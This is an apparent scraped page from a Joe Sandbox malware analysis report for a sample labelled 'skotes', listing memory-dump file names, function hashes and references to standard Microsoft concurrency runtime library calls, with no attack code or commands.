Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: f984fc158801404d90ca8b457dd81b4796c8a202989094727cb1b9f33c326dd9
Instruction ID: 3f0231cffc1a47d64b04f69af7fa15e6cef7bd8770a0914669094c7a68d02905
Opcode Fuzzy Hash: f984fc158801404d90ca8b457dd81b4796c8a202989094727cb1b9f33c326dd9
Instruction Fuzzy Hash: 3541B1B09016059FDB21EF64C944B5ABBF8FF14720F0085A9E82AD7790FB35EA05CB91

Function 00B9DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00B9DB64

Part of subcall function 00B98F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00B98F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00B9DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00B9DBE9
Concurrency::location::_Assign.LIBCMT ref: 00B9DC56

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 4c9d1fa158f5bf654decda566f94a5ab8965e4fe6236f7ed8f5a5f96cfa71c01
Instruction ID: 34ba164814d21982b131f5399fa67f230e168b4a2c1d768781c24bfb519a60c7
Opcode Fuzzy Hash: 4c9d1fa158f5bf654decda566f94a5ab8965e4fe6236f7ed8f5a5f96cfa71c01
Instruction Fuzzy Hash: 2D41EF74604210ABDF19EB25C886BBEBBF5EF45310F1480E9E5069B3C2CB70AD45CBA1

Function 00B956AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 00B956F2
_InternalDeleteHelper.LIBCONCRT ref: 00B95726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 00B9578B
SafeRWList.LIBCONCRT ref: 00B9579A

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 0ae81f296946daf9e8a0c06ad90694b0cba4a0f7951e6cb104d296a61fd14d79
Instruction ID: 7fe12cf9f04aa6fdb6c276a0cf86c261aa7ddb21ce470b0088bdceeaee2d94c8
Opcode Fuzzy Hash: 0ae81f296946daf9e8a0c06ad90694b0cba4a0f7951e6cb104d296a61fd14d79
Instruction Fuzzy Hash: DC3166367416109FDF16AF64C881EAD73E6EF8A710F1842B9E9099F391DF30AD018B90

Function 00B92CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00B92D0F

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: c38688ee3900546352185ed13726681f16bc5faf03cb739eb1f75eec09d36d3e
Instruction ID: 2384adc35e9167451aec5f8f9a07f221e8913bbb4872c21fb0712b74754c9608
Opcode Fuzzy Hash: c38688ee3900546352185ed13726681f16bc5faf03cb739eb1f75eec09d36d3e
Instruction Fuzzy Hash: B5311475A00209EFCF14EF94C8C0AAEBBF9EF45310F1404BAD901AB246D730A945DBA0

Function 00BA13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00BA13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00BA1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00BA147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00BA152A

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 9405a388c8237a0f7057adbd38482d98d990a82ba34268f03725d669061a2d57
Instruction ID: 9f148a1707a2fd33985c2a081c01d15fa1d2ab3f1011d0f66aecd645f70e692d
Opcode Fuzzy Hash: 9405a388c8237a0f7057adbd38482d98d990a82ba34268f03725d669061a2d57
Instruction Fuzzy Hash: 31314D71A006069BCF54EFACC4919EDFBF5BF49710B1486ADE426AB391CB34A941CB90

Function 00B8BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B8BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00B8BBE4
_xtime_get.LIBCPMT ref: 00B8BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00B8BC13

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
